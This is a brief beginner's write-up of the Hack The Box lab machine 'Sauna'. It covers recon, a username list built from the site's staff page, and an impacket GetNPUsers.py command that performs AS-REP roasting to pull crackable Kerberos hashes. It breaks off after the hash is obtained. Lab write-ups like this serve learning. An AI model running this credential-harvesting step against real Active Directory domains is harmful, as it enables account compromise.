Sauna HTB writeup
Sauna was my very first windows box, so don't expect this writeup to be super technical or with a lot of knowledge of what's going. Even though, the box was easy to do.
Recon
First nmap scan showed the box was an AD with kerberos and a web site running on port 80.

FSmith user
Browsing the web site I've found a list of possible usernames at http://10.10.10.175/about.html
Then did a wordlist of possible usernames.
$ cat usernames.txt
sauna
HSmith
SKerb
HBear
BTaylor
SDriver
SCoins
FSmith
Next step is to try get TGTs from users who have 'Do not require Kerberos preauthentication' set on kerberos
$ python3 /home/xnaaro/git_repos/impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile usernames.txt -format hashcat -o passwords.txt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

This gave me an Kerberos 5 AS-REP

This was my first windows box, I was a bit lost and not fully understand yet all the steps I did, need to learn more about how kerberos works.
